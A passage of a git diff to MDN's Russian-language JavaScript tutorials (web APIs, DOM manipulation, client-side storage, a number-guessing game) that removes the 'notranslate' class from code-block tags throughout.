{{domxref("IDBObjectStore.add()")}}.</p> - <pre class="brush: js notranslate">function storeVideo(mp4Blob, webmBlob, name) { + <pre class="brush: js">function storeVideo(mp4Blob, webmBlob, name) { // Open transaction, get object store; make it a readwrite so we can write to the IDB let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos'); // Create a record to add to the IDB @@ -645,7 +645,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <li> <p>Last but not least, we have <code>displayVideo()</code>, which creates the DOM elements needed to insert the video in the UI and then appends them to the page. The most interesting parts of this are those shown below — to actually display our video blobs in a <code><video></code> element, we need to create object URLs (internal URLs that point to the video blobs stored in memory) using the {{domxref("URL.createObjectURL()")}} method. Once that is done, we can set the object URLs to be the vaues of our {{htmlelement("source")}} element's <code>src</code> attributes, and it works fine.</p> - <pre class="brush: js notranslate">function displayVideo(mp4Blob, webmBlob, title) { + <pre class="brush: js">function displayVideo(mp4Blob, webmBlob, title) { // Create object URLs out of the blobs let mp4URL = URL.createObjectURL(mp4Blob); let webmURL = URL.createObjectURL(webmBlob); @@ -694,7 +694,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <p>Первое, что нужно заметить, это дополнительный кусок кода, расположенный в основном JavaScript файле (см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js">index.js</a>). Первое,что мы делаем, это проверка на то, что <code>serviceWorker</code> доступен в объекте {{domxref("Navigator")}}. Если этот так, тогда мы знаем, что как минимум, базовые функции сервис-воркера доступны. Внутри проверки мы используем метод {{domxref("ServiceWorkerContainer.register()")}} для регистрации сервис-воркера, находящегося в файле <code>sw.js</code> на текущем источнике, таким образом, он может управлять страницами в текущей или внутренних директориях. Когда промис выполнится, сервис-воркер считается зарегистрированным.</p> -<pre class="brush: js notranslate"> // Регистрация сервис-воркера для обеспечения доступности сайта в офлайне +<pre class="brush: js"> // Регистрация сервис-воркера для обеспечения доступности сайта в офлайне if('serviceWorker' in navigator) { navigator.serviceWorker @@ -716,7 +716,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <p>Здесь мы видим Cache API в действии. Мы используем метод {{domxref("CacheStorage.open()")}} для открытия нового объекта кеша, в котором ответы могут быть сохранены (похоже на объект хранилища IndexedDB). Промис выполнится с объектом {{domxref("Cache")}}, представляющим собой кеш <code>video-store</code> . Затем мы используем метод {{domxref("Cache.addAll()")}} для получения ресурсов и добавления ответов в кеш.</p> -<pre class="brush: js notranslate">self.addEventListener('install', function(e) { +<pre class="brush: js">self.addEventListener('install', function(e) { e.waitUntil( caches.open('video-store').then(function(cache) { return cache.addAll([ @@ -743,7 +743,7 @@ Promise.all([mp4Blob, webmBlob]).then(function(values) { <p>Если совпадение нашлось, то просто возвращаем его как особый ответ. В противном случае, используем <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a> для запроса ресурса из сети.</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) { +<pre class="brush: js">self.addEventListener('fetch', function(e) { console.log(e.request.url); e.respondWith( caches.match(e.request).then(function(response) { diff --git a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html index 32cf39bfb3..da08302bc6 100644 --- a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html @@ -116,7 +116,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction <p>Так как же эти объекты взаимодействуют? Если вы посмотрите на наш пример <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">see it live also</a>), вы увидите следующий код:</p> -<pre class="brush: js notranslate">navigator.geolocation.getCurrentPosition(function(position) { +<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) { var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); var myOptions = { zoom: 8, @@ -133,11 +133,11 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction <p>Во-первых, мы хотим использовать метод {{domxref("Geolocation.getCurrentPosition()")}}, чтобы получить текущее положение нашего устройства. Доступ к объекту браузера {{domxref("Geolocation")}} производится с помощью свойства {{domxref("Navigator.geolocation")}}, так что мы начнём с</p> -<pre class="brush: js notranslate">navigator.geolocation.getCurrentPosition(function(position) { ... });</pre> +<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) { ... });</pre> <p>Это эквивалентно следующему коду</p> -<pre class="brush: js notranslate">var myGeo = navigator.geolocation; +<pre class="brush: js">var myGeo = navigator.geolocation; myGeo.getCurrentPosition(function(position) { ... });</pre> <p>Но мы можем использовать точки, чтобы связать доступ к свойствам/методам объекта в одно выражение, уменьшая количество строк в программе.</p> @@ -150,22 +150,22 @@ myGeo.getCurrentPosition(function(position) { ... });</pre> <p>Такой подход, при котором функция вызывается только тогда, когда операция была завершена, очень распространён в JavaScript API — убедиться, что операция была завершена прежде, чем пытаться использовать данные, которые она возвращает, в другой операции. Такие операции также называют асинхронными операциями (<strong><a href="/en-US/docs/Glossary/Asynchronous">asynchronous</a> operations)</strong>. Учитывая, что получение данных геолокации производится из внешнего устройства (GPS-устройства или другого устройства геолокации), мы не можем быть уверены, что операция считывания будет завершена вовремя и мы сможем незамедлительно использовать возвращаемые ею данные. Поэтому такой код не будет работать:</p> -<pre class="brush: js example-bad notranslate">var position = navigator.geolocation.getCurrentPosition(); +<pre class="brush: js example-bad">var position = navigator.geolocation.getCurrentPosition(); var myLatitude = position.coords.latitude;</pre> <p>Если первая строка ещё не вернула результат, вторая вызовет ошибку из-за того, что данные геолокации ещё не стали доступны. По этой причине, API, использующие асинхронные операции, разрабатываются с использованием {{glossary("callback function")}}, или более современной системы <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">промисов</a>, которая появилась в ECMAScript 6 и широко используются в новых API.</p> <p>Мы совмещаем API Геолокации со сторонним API - Google Maps API, который используем для того, чтобы отметить расположение, возвращаемое <code>getCurrentPosition()</code> , на Google Map. Чтобы Google Maps API стал доступен на нашей странице, мы включаем его в HTML документ:</p> -<pre class="brush: html notranslate"><script type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"></script></pre> +<pre class="brush: html"><script type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"></script></pre> <p>Чтобы использовать этот API, во-первых создадим объект <code>LatLng</code> с помощью конструктора <code>google.maps.LatLng()</code> , принимающим данные геолокации {{domxref("Coordinates.latitude")}} и {{domxref("Coordinates.longitude")}} :</p> -<pre class="brush: js notranslate">var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);</pre> +<pre class="brush: js">var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);</pre> <p>Этот объект сам является значением свойства <code>center</code> объекта настроек (options), который мы назвали <code>myOptions</code>. Затем мы создаём экземпляр объекта, представляющего нашу карту, вызывая конструктор <code>google.maps.Map()</code> и передавая ему два параметра — ссылку на элемент {{htmlelement("div")}}, на котором мы хотим отрисовывать карту (с ID <code>map_canvas</code>), и объект настроек (options), который мы определили выше.</p> -<pre class="brush: js notranslate">var myOptions = { +<pre class="brush: js">var myOptions = { zoom: 8, center: latlng, mapTypeId: google.maps.MapTypeId.TERRAIN, @@ -193,19 +193,19 @@ var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions); <p>Найти точку входа Document Object Model (DOM) API ещё проще — при применении этого API используется объект {{domxref("Document")}}, или экземпляр элемента HTML, с которым вы хотите каким-либо образом взаимодействовать, к примеру:</p> -<pre class="brush: js notranslate">var em = document.createElement('em'); // создаёт новый элемент em +<pre class="brush: js">var em = document.createElement('em'); // создаёт новый элемент em var para = document.querySelector('p'); // ссылка на существующий элемент p em.textContent = 'Hello there!'; // присвоение текстового содержимого para.appendChild(em); // встроить em внутрь para</pre> <p>Точки входа других API немного сложнее, часто подразумевается создание особого контекста, в котором будет написан код API. Например, объект контекста Canvas API создаётся получением ссылки на элемент {{htmlelement("canvas")}}, на котором вы хотите рисовать, а затем необходимо вызвать метод {{domxref("HTMLCanvasElement.getContext()")}}:</p> -<pre class="brush: js notranslate">var canvas = document.querySelector('canvas'); +<pre class="brush: js">var canvas = document.querySelector('canvas'); var ctx = canvas.getContext('2d');</pre> <p>Всё, что мы хотим сделать с canvas после этого, достигается вызовом свойств и методов объекта содержимого (content) (который является экземпляром {{domxref("CanvasRenderingContext2D")}}), например:</p> -<pre class="brush: js notranslate">Ball.prototype.draw = function() { +<pre class="brush: js">Ball.prototype.draw = function() { ctx.beginPath(); ctx.fillStyle = this.color; ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); @@ -224,7 +224,7 @@ var ctx = canvas.getContext('2d');</pre> <p>Следующий код содержит простой пример использования событий:</p> -<pre class="brush: js notranslate">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +<pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; var request = new XMLHttpRequest(); request.open('GET', requestURL); request.responseType = 'json'; diff --git a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html index 9c45929f87..61d208d98f 100644 --- a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -51,7 +51,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <p>Мы создали простую страницу примера в <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">см. также live</a>). Попробуйте открыть это в своём браузере - это очень простая страница, содержащая элемент {{htmlelement("section")}}, внутри которого вы можете найти изображение и абзац со ссылкой внутри. Исходный код HTML выглядит так:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -95,13 +95,13 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <li>Возьмите локальную копию страницы <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html page</a> и изображение, которое вместе с ним.</li> <li>Добавьте элемент <code><script></script></code> чуть выше закрывающего тега <code></body></code>.</li> <li>Чтобы управлять элементом внутри DOM, вам сначала нужно выбрать его и сохранить ссылку на него внутри переменной. Внутри вашего скриптового элемента добавьте следующую строку: - <pre class="brush: js notranslate">var link = document.querySelector('a');</pre> + <pre class="brush: js">var link = document.querySelector('a');</pre> </li> <li>Теперь у нас есть ссылка на элемент, хранящаяся в переменной, мы можем начать её манипулировать с использованием доступных ему свойств и методов (они определены на таких интерфейсах, как {{domxref("HTMLAnchorElement")}} в случае {{htmlelement ("a")}}, его более общий родительский интерфейс {{domxref ("HTMLElement")}} и {{domxref("Node")}} - который представляет все узлы в DOM). Прежде всего, давайте изменим текст внутри ссылки, обновив значение свойства {{domxref("Node.textContent")}}. Добавьте следующую строку ниже предыдущей: - <pre class="brush: js notranslate">link.textContent = 'Mozilla Developer Network';</pre> + <pre class="brush: js">link.textContent = 'Mozilla Developer Network';</pre> </li> <li>Мы также должны изменить URL-адрес, на который указывает ссылка, чтобы он не попадал в неправильное место при нажатии. Добавьте следующую строку, опять внизу: - <pre class="brush: js notranslate">link.href = 'https://developer.mozilla.org';</pre> + <pre class="brush: js">link.href = 'https://developer.mozilla.org';</pre> </li> </ol> @@ -124,20 +124,20 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <ol> <li>Возвращаясь к текущему примеру, давайте начнём с захвата ссылки на наш элемент {{htmlelement("section")}} - добавьте следующий код внизу существующего скрипта (сделайте то же самое с другими строками): - <pre class="brush: js notranslate">var sect = document.querySelector('section');</pre> + <pre class="brush: js">var sect = document.querySelector('section');</pre> </li> <li>Теперь давайте создадим новый абзац, используя {{domxref("Document.createElement()")}} и передадим ему текстовое содержимое так же, как и раньше: - <pre class="brush: js notranslate">var para = document.createElement('p'); + <pre class="brush: js">var para = document.createElement('p'); para.textContent = 'We hope you enjoyed the ride.';</pre> </li> <li>Теперь вы можете добавить новый абзац в конце раздела, используя {{domxref("Node.appendChild()")}}: - <pre class="brush: js notranslate">sect.appendChild(para);</pre> + <pre class="brush: js">sect.appendChild(para);</pre> </li> <li>Наконец, для этой части, давайте добавим текстовый узел в абзац, где находится ссылка, чтобы оформить предложение красиво. Сначала мы создадим текстовый узел, используя {{domxref("Document.createTextNode()")}}: - <pre class="brush: js notranslate">var text = document.createTextNode(' — the premier source for web development knowledge.');</pre> + <pre class="brush: js">var text = document.createTextNode(' — the premier source for web development knowledge.');</pre> </li> <li>Теперь мы возьмём ссылку на абзац, в котором находится ссылка, и добавим к нему текстовый узел: - <pre class="brush: js notranslate">var linkPara = document.querySelector('p'); + <pre class="brush: js">var linkPara = document.querySelector('p'); linkPara.appendChild(text);</pre> </li> </ol> @@ -150,17 +150,17 @@ linkPara.appendChild(text);</pre> <p>Если бы мы хотели переместить абзац со ссылкой внутри него в нижней части раздела, мы могли бы просто сделать это:</p> -<pre class="brush: js notranslate">sect.appendChild(linkPara);</pre> +<pre class="brush: js">sect.appendChild(linkPara);</pre> <p>Это переводит абзац вниз в нижнюю часть раздела. Вы могли подумать, что это сделает вторую копию, но это не так - <code>linkPara</code> - ссылка на единственную копию этого абзаца. Если вы хотите сделать копию и добавить её также, вам нужно будет использовать {{domxref("Node.cloneNode()")}}.</p> <p>Удаление узла довольно просто, по крайней мере, когда у вас есть ссылка на удаляемый узел и его родительский элемент. В нашем случае мы просто используем {{domxref("Node.removeChild()")}}, например:</p> -<pre class="notranslate">sect.removeChild(linkPara);</pre> +<pre>sect.removeChild(linkPara);</pre> <p>Он становится немного сложнее, если вы хотите удалить узел, основанный только на ссылке на себя, что довольно распространено. Нет способа сообщить узлу удалить себя, поэтому вам нужно будет сделать следующее.</p> -<pre class="brush: js notranslate">linkPara.parentNode.removeChild(linkPara);</pre> +<pre class="brush: js">linkPara.parentNode.removeChild(linkPara);</pre> <p>Попробуйте добавить вышеуказанные строки в свой код.</p> @@ -174,14 +174,14 @@ linkPara.appendChild(text);</pre> <ol> <li>В качестве примера попробуйте добавить эти строки в наш текущий пример: - <pre class="brush: js notranslate">para.style.color = 'white'; + <pre class="brush: js">para.style.color = 'white'; para.style.backgroundColor = 'black'; para.style.padding = '10px'; para.style.width = '250px'; para.style.textAlign = 'center';</pre> </li> <li>Перезагрузите страницу, и вы увидите, что стили были применены к абзацу. Если вы посмотрите на этот параграф в инспекторе <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector">Page Inspector/DOM inspector </a>вашего браузера, вы увидите, что эти строки действительно добавляют встроенные стили в документ: - <pre class="brush: html notranslate"><p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p></pre> + <pre class="brush: html"><p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p></pre> </li> </ol> @@ -194,7 +194,7 @@ para.style.textAlign = 'center';</pre> <ol> <li>Удалите предыдущие пять строк, добавленных в JavaScript.</li> <li>Добавьте в свой HTML-код следующее: {{htmlelement("head")}}: - <pre class="notranslate"><style> + <pre><style> .highlight { color: white; background-color: black; @@ -205,7 +205,7 @@ para.style.textAlign = 'center';</pre> </style></pre> </li> <li>Теперь мы перейдём к очень полезному методу для общего манипулирования HTML - {{domxref("Element.setAttribute()")}} - это принимает два аргумента, атрибут, который вы хотите установить для элемента, и значение, которое вы хотите для его установки. В этом случае мы укажем имя класса выделения в нашем абзаце: - <pre class="brush: js notranslate">para.setAttribute('class', 'highlight');</pre> + <pre class="brush: js">para.setAttribute('class', 'highlight');</pre> </li> <li>Обновите свою страницу, и вы не увидите изменений - CSS по-прежнему применяется к абзацу, но на этот раз, предоставив ему класс, который выбран нашим правилом CSS, а не как встроенные стили CSS.</li> </ol> @@ -230,17 +230,17 @@ para.style.textAlign = 'center';</pre> <ol> <li>Прежде всего, давайте возьмём ссылку на div, а затем возьмём ширину и высоту окна просмотра (внутреннее окно, где отображается ваш документ) и сохраните их в переменных - эти два значения удобно содержатся в {{domxref("Window.innerWidth")}} и {{domxref("Window.innerHeight")}}. Добавьте следующие строки внутри существующего элемента {{htmlelement("script")}}: - <pre class="brush: js notranslate">var div = document.querySelector('div'); + <pre class="brush: js">var div = document.querySelector('div'); var WIDTH = window.innerWidth; var HEIGHT = window.innerHeight;</pre> </li> <li>Затем мы динамически изменяем ширину и высоту div, равную ширине окна просмотра. Добавьте следующие две строки ниже своих первых: - <pre class="brush: js notranslate">div.style.width = WIDTH + 'px'; + <pre class="brush: js">div.style.width = WIDTH + 'px'; div.style.height = HEIGHT + 'px';</pre> </li> <li>Сохраните и попробуйте обновить браузер - теперь вы должны увидеть, что div становится таким же большим, как ваш видовой экран, независимо от того, какой размер экрана вы используете. Если теперь вы попытаетесь изменить размер окна, чтобы увеличить его, вы увидите, что div остаётся одного размера - мы устанавливаем его только один раз.</li> <li>Как насчёт того, чтобы мы использовали событие, чтобы размер div изменялся при изменении размера окна? Объект {{domxref("Window")}} имеет событие, имеющееся на нем с именем resize, которое запускается каждый раз при изменении размера окна - давайте обратимся к нему через обработчик событий {{domxref("Window.onresize")}} и повторяйте наш размерный код каждый раз, когда он изменяется. Добавьте нижеследующую часть кода: - <pre class="brush: js notranslate">window.onresize = function() { + <pre class="brush: js">window.onresize = function() { WIDTH = window.innerWidth; HEIGHT = window.innerHeight; div.style.width = WIDTH + 'px'; diff --git a/files/ru/learn/javascript/first_steps/a_first_splash/index.html b/files/ru/learn/javascript/first_steps/a_first_splash/index.html index 6da71e0814..e6a210e0d5 100644 --- a/files/ru/learn/javascript/first_steps/a_first_splash/index.html +++ b/files/ru/learn/javascript/first_steps/a_first_splash/index.html @@ -49,7 +49,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <div class="hidden"> <h6 id="Top_hidden_code">Top hidden code</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> @@ -207,7 +207,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <p>Место, где мы будем добавлять весь наш код, находится внутри элемента {{htmlelement("script")}} в нижней части HTML:</p> -<pre class="brush: html notranslate"><script> +<pre class="brush: html"><script> // Your JavaScript goes here @@ -218,7 +218,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <p>Давайте начнём. Прежде всего добавьте следующие строки внутри элемента {{htmlelement("script")}} :</p> -<pre class="notranslate"><code>var randomNumber = Math.floor(Math.random() * 100) + 1; +<pre><code>var randomNumber = Math.floor(Math.random() * 100) + 1; var guesses = document.querySelector('.guesses'); var lastResult = document.querySelector('.lastResult'); @@ -237,12 +237,12 @@ var resetButton;</code></pre> <ul> <li>Первой переменной - randomNumber - присваивается случайное число от 1 до 100, вычисленное с использованием математического алгоритма.</li> <li>Следующие три переменные сделаны для хранения ссылок на абзацы результатов в нашем HTML и используются для вставки значений в абзацы, приведённые далее в коде: - <pre class="brush: html notranslate"><p class="guesses"></p> + <pre class="brush: html"><p class="guesses"></p> <p class="lastResult"></p> <p class="lowOrHi"></p></pre> </li> <li>Следующие две переменных хранят ссылки на форму ввода текста и кнопку отправки а позже используются для управления подачи догадки . - <pre class="brush: html notranslate"><label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> + <pre class="brush: html"><label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="Submit guess" class="guessSubmit"></pre> </li> <li>Наши последние две переменные сохраняют количество догадок 1 (используется для отслеживания того, сколько догадок у игрока было), и ссылку на кнопку сброса, которая ещё не существует (но позже).</li> @@ -256,7 +256,7 @@ var resetButton;</code></pre> <p>Затем добавьте следующие ниже предыдущего JavaScript:</p> -<pre class="brush: js notranslate">function checkGuess() { +<pre class="brush: js">function checkGuess() { alert('I am a placeholder'); }</pre> @@ -268,7 +268,7 @@ var resetButton;</code></pre> <p>Перейдите к <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоли JavaScript в инструментах разработчика</a>, и введите следующую строку:</p> -<pre class="brush: js notranslate">checkGuess();</pre> +<pre class="brush: js">checkGuess();</pre> <p>Вы должны увидеть предупреждение, в котором говорится "I am a placeholder"; в нашем коде мы определили функцию, которая создаёт предупреждение, когда её вызывают.</p> @@ -285,7 +285,7 @@ var resetButton;</code></pre> <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -428,7 +428,7 @@ var resetButton;</code></pre> <p>Вы также можете использовать оператор <code>+</code> для сложения строк текста (в программировании это называется конкатенацией). Попробуйте ввести следующие строки:</p> -<pre class="brush: js notranslate">var name = 'Bingo'; +<pre class="brush: js">var name = 'Bingo'; name; var hello = ' says hello!'; hello; @@ -437,11 +437,11 @@ greeting;</pre> <p>Также есть сокращённые операторы, называемые расширенными операторами присваивания. Например, если вы просто хотите добавить новую строку к существующей и вернуть результат, вы можете сделать так:</p> -<pre class="brush: js notranslate">name += ' says hello!';</pre> +<pre class="brush: js">name += ' says hello!';</pre> <p>Это эквивалентно этому:</p> -<pre class="brush: js notranslate">name = name + ' says hello!';</pre> +<pre class="brush: js">name = name + ' says hello!';</pre> <p>Когда мы запускаем проверку true/false (истина/ложь) (например, внутри условных выражений — смотри {{anch("Conditionals", "ниже")}}), мы используем операторы сравнения, например:</p> @@ -481,7 +481,7 @@ greeting;</pre> <p>Теперь, заменим вашу текущую функцию<code>checkGuess()</code> на эту версию:</p> -<pre class="brush: js notranslate">function checkGuess() { +<pre class="brush: js">function checkGuess() { var userGuess = Number(guessField.value); if (guessCount === 1) { guesses.textContent = 'Previous guesses: '; @@ -516,7 +516,7 @@ greeting;</pre> <ul> <li>Первая строка (строка под номером 2 в коде выше) объявляет переменную с именем <code>userGuess</code> и устанавливает её значение на то, что сейчас введено в текстовое поле. Мы также пропускаем это значение через встроенный метод <code>Number()</code>, чтобы убедится, что значение точно является числом.</li> <li>Затем мы сталкиваемся с нашим первым блоком условного кода (строки 3–5 в коде выше). Блок условного кода позволяет выборочно запускать код в зависимости от того, является определённое условие истинным или нет. Он немного похож на функцию, но это не так. Простейшая форма условного блока начинается с ключевого слова <code>if</code>, за ним круглые скобки, за ними ещё фигурные скобки. В круглые скобки мы добавляем проверку. Если проверка возвращает <code>true</code>, запускается код в фигурных скобках. Если нет, этот код пропускается и мы переходим к следующей части кода. В этом случае проверяется равна ли переменная <code>guessCount</code> числу <code>1</code> (то есть является ли это первой попыткой игрока или нет): - <pre class="brush: js notranslate">guessCount === 1</pre> + <pre class="brush: js">guessCount === 1</pre> Если это так, мы выводим параграф с содержанием "Previous guesses: ". Если нет, ничего не делаем.</li> <li>Строка 6 добавляет текущее значение <code>userGuess</code> в конец параграфа <code>guesses</code>, плюс пустое пространство поэтому между каждыми показанными предположениями будет пробел.</li> <li>Следующий блок (строки 8–24 ) делает несколько проверок: @@ -535,7 +535,7 @@ greeting;</pre> <p><span id="result_box" lang="ru"><span>Добавьте следующую строку ниже закрывающей фигурной скобки функции <code>checkGuess()</code>:</span></span></p> -<pre class="brush: js notranslate">guessSubmit.addEventListener('click', checkGuess);</pre> +<pre class="brush: js">guessSubmit.addEventListener('click', checkGuess);</pre> <p><span id="result_box" lang="ru"><span>Здесь мы добавляем обработчик событий к кнопке <code>guessSubmit</code>.</span> <span>Это метод, который принимает два входных значения (называемые аргументами) - тип события, которое мы обработаем (в данном случае <code>click</code>) в виде строки, и код, который мы хотим запустить при возникновении события (в данном случае</span> <span>функция <code>checkGuess()</code> - обратите внимание, что нам не нужно указывать круглые скобки при записи внутри</span></span> {{domxref("EventTarget.addEventListener", "addEventListener()")}}).</p> @@ -545,7 +545,7 @@ greeting;</pre> <p><span id="result_box" lang="ru"><span>Давайте добавим функцию <code>setGameOver()</code> в конец нашего кода, а затем пройдём по ней.</span> <span>Добавьте это под нижней частью вашего JavaScript:</span></span></p> -<pre class="brush: js notranslate">function setGameOver() { +<pre class="brush: js">function setGameOver() { guessField.disabled = true; guessSubmit.disabled = true; resetButton = document.createElement('button'); @@ -562,7 +562,7 @@ greeting;</pre> <p><span id="result_box" lang="ru"><span>Теперь нам нужно также определить эту функцию!</span> <span>Добавьте следующий код, снова в нижнюю часть вашего JavaScript:</span></span></p> -<pre class="brush: js notranslate">function resetGame() { +<pre class="brush: js">function resetGame() { guessCount = 1; var resetParas = document.querySelectorAll('.resultParas p'); @@ -607,14 +607,14 @@ greeting;</pre> </div> </div> -<pre class="brush: js notranslate">for (var i = 1 ; i < 21 ; i++) { console.log(i) }</pre> +<pre class="brush: js">for (var i = 1 ; i < 21 ; i++) { console.log(i) }</pre> <p><span lang="ru">Что случилось? Номера с 1 по 20 были напечатаны в консоли. Это из-за цикла. Цикл for принимает три входных значения (аргументы):</span><br> <span lang="ru">Начальное значение: в этом случае мы начинаем подсчёт c 1, но это может быть любое число которое вам нравится. Вы можете заменить i любым другим именем, которое вам нравится, но я использую его как условность, потому что оно короткое и легко запоминается. Условие выхода: Здесь мы указали i <21 - цикл будет продолжаться до тех пор, пока i будет меньше 21. Когда i достигнет 21, цикл больше не будет работать. Инкремент: мы указали i ++, что означает «увеличить i на 1». Цикл будет выполняться один раз для каждого значения i, пока оно не достигнет значения 21 (как обсуждалось выше). В этом случае мы просто печатаем значение i в консоли на каждой итерации с помощью {{domxref ("Console.log", "console.log ()")}}.</span></p> <p><span lang="ru">Теперь давайте посмотрим на цикл в нашей игре угадывания чисел - в функции resetGame () можно найти следующее:</span></p> -<pre class="brush: js notranslate">var resetParas = document.querySelectorAll('.resultParas p'); +<pre class="brush: js">var resetParas = document.querySelectorAll('.resultParas p'); for (var i = 0 ; i < resetParas.length ; i++) { resetParas[i].textContent = ''; }</pre> @@ -625,7 +625,7 @@ for (var i = 0 ; i < resetParas.length ; i++) { <p>Давайте добавим ещё одно окончательное улучшение, прежде чем перейти к обсуждению. Добавьте следующую строку чуть ниже <code>var resetButton;</code> в верхней части вашего JavaScript, затем сохраните файл:</p> -<pre class="brush: js notranslate">guessField.focus();</pre> +<pre class="brush: js">guessField.focus();</pre> <p>Эта строка использует метод {{domxref("HTMLElement.focus", "focus()")}}, чтобы автоматически помещать текстовый курсор в текстовое поле {{htmlelement("input")}}, как только загрузится страница. Пользователь сможет сразу набрать свою первую догадку, не нажимая поле формы. Это всего лишь небольшое дополнение, но оно улучшает удобство использования - даёт пользователю хорошую визуальную подсказку относительно того, что они должны делать в игре.</p> @@ -633,13 +633,13 @@ for (var i = 0 ; i < resetParas.length ; i++) { <p>В нашем примере мы сначала создали переменную <code>guessField</code>, которая запоминает значение из поля ввода в нашем HTML - следующая строка находится среди первых в нашем коде:</p> -<pre class="brush: js notranslate">var guessField = document.querySelector('.guessField');</pre> +<pre class="brush: js">var guessField = document.querySelector('.guessField');</pre> <p>Чтобы получить это значение, мы использовали метод {{domxref("document.querySelector", "querySelector()")}} объекта {{domxref("document")}}. <code>querySelector()</code> "берет" одну часть информации - <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS selector</a>, который выбирает нужный элемент<em>.</em></p> <p>Поскольку <code>guessField</code> теперь содержит ссылку на элемент {{htmlelement("input")}}, теперь он будет иметь доступ к ряду свойств (в основном к переменным, хранящимся внутри объектов, некоторые значения которых нельзя изменять) и методы (в основном функции, хранящиеся внутри объектов). Одним из методов, доступных для ввода элементов, является focus (), поэтому мы можем теперь использовать эту строку для фокусировки ввода текста:</p> -<pre class="brush: js notranslate">guessField.focus();</pre> +<pre class="brush: js">guessField.focus();</pre> <p>Для переменных, которые не содержат ссылок на элементы формы, не будет доступен <code>focus()</code>. Например, переменная <code>guesses</code> содержит ссылку на элемент {{htmlelement ("p")}}, а <code>guessCount</code> содержит число.</p> @@ -652,17 +652,17 @@ for (var i = 0 ; i < resetParas.length ; i++) { <li>Далее, откройте <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">инструменты разработчика в вашем браузере</a>, и убедитесь, что вы перешли во вкладку с консолью JavaScript.</li> <li>Введите <code>guessField</code> и консоль покажет, что переменная содержит элемент {{htmlelement("input")}}. Вы также можете заметить, что консоль автоматически заполняет имена объектов, которые существуют внутри исполняющей среды, включая ваши переменные!</li> <li>Теперь введите следующее: - <pre class="brush: js notranslate">guessField.value = 'Hello';</pre> + <pre class="brush: js">guessField.value = 'Hello';</pre> Свойство <code>value</code> представляет текущее значение, введённое в текстовое поле. Заметьте, что, введя эту команду, мы изменили его!</li> <li>Попробуйте ввести <code>guesses</code> и нажать return. Консоль покажет, что в переменной содержится элемент {{htmlelement("p")}}.</li> <li>Теперь попробуйте ввести: - <pre class="brush: js notranslate">guesses.value</pre> + <pre class="brush: js">guesses.value</pre> Браузер вернёт вам <code>undefined</code>, потому что <code>value</code> не существует в параграфах.</li> <li>Для изменения текста внутри параграфа, взамен используйте свойство {{domxref("Node.textContent", "textContent")}}. Попробуйте: - <pre class="brush: js notranslate">guesses.textContent = 'Where is my paragraph?';</pre> + <pre class="brush: js">guesses.textContent = 'Where is my paragraph?';</pre> </li> <li>Теперь немного повеселимся. Попробуйте ввести следующие строки, одну за другой: - <pre class="brush: js notranslate">guesses.style.backgroundColor = 